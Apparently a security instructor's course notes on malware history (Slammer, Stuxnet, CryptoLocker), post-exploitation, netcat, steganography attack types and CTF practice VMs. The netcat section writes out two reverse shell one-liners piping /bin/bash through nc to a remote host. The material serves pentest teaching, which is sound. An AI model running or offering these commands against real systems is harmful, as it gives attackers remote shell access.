  • Beast was one of the first reverse shell RATs for Windows.
  • Slammer was a DoS worm that exploited a buffer overflow in Microsoft SQL Server and Desktop Engine to crash Windows machines.
  • Blaster spread via a buffer overflow in the RPC service on TCP port 135 and would try to use infected hosts to DDoS the Windows Update website with a SYN flood.
  • Sasser was another big DoS worm that exploited LSASS (the Local Security Authority Subsystem Service) in Windows 2000 and XP
  • Zeus is one of the longest-lived bank credential-stealing Trojans, keeping alive through changes and variants such as the newer GameOver ZeuS offshoot and merging code with the SpyEye trojan.
  • Conficker was a worm that exploited numerous Windows infections
  • Stuxnet and Duqu may very well be the first and some of the most successful cyberweapons. Leaks from inside the US government allege it was developed as part of a US/Israeli joint operation to target and destroy Iranian uranium enrichment centrifuges.
  • Blackhole is an example of an “exploit kit” or “crimeware kit,” that allows low-skilled cybercriminals to put together bank credential-stealing or botnet-enrolling trojans of their own.
  • Flashback made waves as one of the first widespread Mac OS X pieces of malware.  It used a vulnerability in Java and spread through malicious websites.
  • Flame is another cyberweapon, supposedly developed by the NSA and Israel.
  • CryptoLocker kicked off the era of encryption ransomware.  It and it’s copycats would infect a machine, encrypt all the user’s personal files, then hold them for ransom.  If the user paid the ransom (usually an amount set in an anonymous cryptocurrency like Bitcoin), the malware creator would give them the decryption key so they could access their files again.

Screen Shot 2016-01-24 at 1.57.00 PM.png

  • Glance over this list, because you may see a question or two about suspicious ports on your exam.

Screen Shot 2016-01-24 at 1.57.02 PM.png

Screen Shot 2016-01-24 at 1.57.03 PM.png

  • Air-gapping means the machine is not connected to other machines over network connections.


CNS320 Lesson 7 – Post-Exploitation

Lesson 7 – Post-Exploitation

Screen Shot 2016-01-23 at 10.54.53 PM.png

Screen Shot 2016-01-23 at 10.54.54 PM.png

Screen Shot 2016-01-23 at 10.54.55 PM.png

Screen Shot 2016-01-23 at 11.15.42 PM.png

Screen Shot 2016-01-23 at 10.54.58 PM.png

Screen Shot 2016-01-23 at 10.54.59 PM.png

Screen Shot 2016-01-23 at 10.55.00 PM.png

Screen Shot 2016-01-23 at 10.55.01 PM.png

Screen Shot 2016-01-23 at 10.55.03 PM.png

  • Netcat is a tool you will need to get very comfortable with as a pentester.  Netcat is a simple but powerful utility that will allow you to listen on or transmit data over TCP or UDP ports.  It’s built into almost every Linux or Unix OS (including OS X) and versions are availble for Windows and other OS’s too.
  • Some of the popular clones of netcat include ncat (which is part of the Nmap Project and comes bundled with it), socat, CryptCat (which can SSL-encrypt your traffic), and many others

Screen Shot 2016-01-23 at 10.55.04 PM.png

Screen Shot 2016-01-23 at 10.55.05 PM.png

Screen Shot 2016-01-23 at 10.55.07 PM.png

Screen Shot 2016-01-23 at 10.55.08 PM.png

Screen Shot 2016-01-23 at 10.55.12 PM.png

  • Steganography is one of those things you learn in security classes and is fun for hacker CTFs…but I’m not really sure how much it gets used by real attackers.  Or even pentesters on engagements, for that matter.

Screen Shot 2016-01-23 at 10.55.14 PM.png

Screen Shot 2016-01-23 at 10.55.15 PM.png

Screen Shot 2016-01-23 at 10.55.17 PM.png

Screen Shot 2016-01-23 at 10.55.18 PM.png

  • Stego-only attack: you only have the medium with the hidden data in it
  • Known-cover attack: you have a copy of the original medium BEFORE data was hidden in it and a copy of it AFTER data is hidden
  • Known-message attack: you have the medium with hidden data in it and you know what the hidden message is (can determine the steg algorithm with this info)
  • Known-stego attack: you know the steg method used and you have access to the original and modified medium
  • Chosen-stego attack: you have access to different steg tools and you try each them and look for similarities to determine which method was used for the file you’re analysing
  • Chosen-message attack: similar to the above, but using the same message in different tools to look for patterns or signatures

Screen Shot 2016-01-23 at 10.55.20 PM.png

Screen Shot 2016-01-23 at 10.55.22 PM.png

Screen Shot 2016-01-23 at 10.55.23 PM.png

Screen Shot 2016-01-23 at 10.55.25 PM.png

Screen Shot 2016-01-23 at 10.55.26 PM.png

  • The process might get far along, but eventually the program being used to trash the disk will delete itself and stall out, so there will still be something for forensic investigators to pick at…though who knows just what will remain.

Screen Shot 2016-01-23 at 10.55.27 PM.png

  • Also, besides the netcat man page, there are some good recipes buried in the /usr/share/doc/netcat-traditional/ directory on Kali.  Check out README.Debian and README.gz.  Also, there are some very interesting shell scripts that use netcat to do everything from IRC to acting as a crude web server down in the examples subdirectory.
  • Besides all the different variants, there are two mainstream versions of netcat: netcat-traditional and netcat-openbsd.  The netcat-openbsd is the most common version you’ll find that comes installed on Debian, Ubuntu, Redhat, and various other Linux distributions.  The main difference is that the OpenBSD variant has had the “-e” option removed, as a measure to prevent hackers leaving backdoors.
  • Fortunately, there are two different options for sending out a reverse shell without having to use the “-e” flag:
    1.)     mknod backpipe p && nc <remote server> <port> 0<backpipe | /bin/bash 1>backpipe
    2.)     mkfifo pipe && nc <remote serve> <port> < pipe | /bin/bash &> pipe         <——– this one is better, because it will also pipe stderr to you (so you can see error messages)


This is the point in the class where I would start doing actual CTF challenges with the students.  What I usually did was create several VMs on the class server (I didn’t need much horsepower; an old laptop running Linux Mint with about 4GB of RAM sufficed just fine) and assign one to each student for them to hack.  I had pretty small classes, so I this was doable.  I would give them hints, answer questions, guide them in the right direction, get them to help each other out, etc. until they finally solved it.

But for you reading along at home, you should now know enough to try to tackle some of these CTF VMs yourself.  Here are the first few I started them out on:

You can easily download the ISO images and run them in VMware or VirtualBox.  I urge to try to solve them on your own.  The De-ICE ones do have a hint page in the target machine’s website.  If you get really desperate, you can always look at the walkthroughs on their respective VulnHub pages.

Good luck!